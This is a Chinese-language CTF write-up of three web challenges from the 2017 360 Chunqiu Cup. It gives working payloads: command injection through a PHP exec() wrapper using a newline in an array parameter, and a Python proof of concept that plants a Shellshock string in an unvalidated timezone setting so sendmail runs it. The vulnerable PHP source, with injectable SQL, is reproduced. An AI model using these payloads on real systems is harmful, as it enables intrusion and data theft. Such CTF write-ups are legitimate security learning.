360春秋杯2017 writeup

题目不是太有趣,基本都是从hincon那里扒来的,正好整理完了,就发出来吧

where is my cat

没什么好说的,很有ichunqiu风格的一题

进去发现https签发机构不合法,点开发现颁证机关找到一个域名

到这里本以为是抄hitcon的,然后一通操作发现并不是…

然后发现cookie里有个host=0

把host改成那个域名,getflag

写一写 看一看

题目是原题抄
http://www.2cto.com/article/201510/446796.html

但是因为没有运维,所以服务器日常爆炸

进来发现可以编辑文件,然后找到exec.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
highlight_file(__FILE__);
$dir = 'tmp/';
if(!file_exists($dir))
mkdir($dir);
chdir($dir);
if(!isset($_GET['shell'])){
phpinfo();
exit();
}
$shell = $_GET['shell'];
for ( $i=0; $i<count($shell); $i++ ){
if ( !preg_match('/^\w+$/', $shell[$i]) )
exit();
}
session_start();
$path = $_SESSION['path'];
$shell = str_replace('path','/'.$path,implode(" ",$shell));
exec("/bin/hence " . $shell);
?>

前面都很好绕过,由于使用implode解参数,所以可以传入数组,但是输入只能输入字符很难受

先尝试wget+数字请求外网,貌似失败了,请求不到

然后是通过前台的编辑写文件内容,然后php+path执行,但是,做题的时候,编辑文件的接口炸了

最后想了一个办法,用tar压缩整个web目录

payload

1
http://106.75.34.78:2081/exec.php?shell[]=a%0A&shell[]=tar&shell[]=cvf&shell[]=ddog&shell[]=pathvarpathwwwpathhtml

下载下来grep找到flag

mail

打开http://106.75.106.156/web.tar.gz获取源码

发现核心问题是sendmail,但是没有可以利用的点

找到一篇文章
https://www.leavesongs.com/PHP/php-bypass-disable-functions-by-CVE-2014-6271.html

发现配合bash破壳漏洞可以执行任意命令
http://www.freebuf.com/articles/system/50065.html

option里有这样一段设置

image_1be7kitqoi9p1dljektemf1ge69.png-24kB

去追寻这个变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function saveConfig($config){
global $conn;
foreach ($config as $key => $value) {
$key = addslashes_deep($key);
$strsql="select db_value from config where db_name='$key' limit 1";
$result=mysql_query($strsql,$conn);
$row = mysql_fetch_array($result);
if(empty($row))
{
$strsql="insert into config(db_name,db_value) values('$key','$value')";
$result=mysql_query($strsql,$conn);
}else{
$strsql="update config set db_value='$value' where db_name='$key'";
$result=mysql_query($strsql,$conn);
}
}
}
function getConfig($key){
global $conn;
$strsql="select db_value from config where db_name='$key' limit 1";
$result=mysql_query($strsql,$conn);
$row = mysql_fetch_array($result);
if(!empty($row))
{
return $row['db_value'];
}
return "";
}

配合option里的代码

1
2
3
4
5
6
7
8
if($_GET['action']== 'save')
{
$config = $_POST['config'];
saveConfig($config);
die("<script>alert('保存成功!');history.go(-1);</script>");
}

我们发现修改里虽然没有timezone,但是并没有做任何校验,那我们直接post就可以修改了

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
def f():
url='http://106.75.106.156/options.php?action=save'
payload={
"config[timezone]":'''() { x; }; cat flag.php > /var/www/html/upload/1.txt''',
"config[root_path]":"/var/www/html",
"config[send_mail]":"xxx@mail.co",
}
cookies={
"PHPSESSID":"7lm7gsvf2l54jvu1vejt2skvj5",
}
res=requests.post(url,cookies=cookies,data=payload)
print res.content
f()

{2EF1E062-1C81-DE56-2770-9A3E1CFA1953}.png-20.3kB

文章目录
  1. 1. where is my cat
  2. 2. 写一写 看一看
  3. 3. mail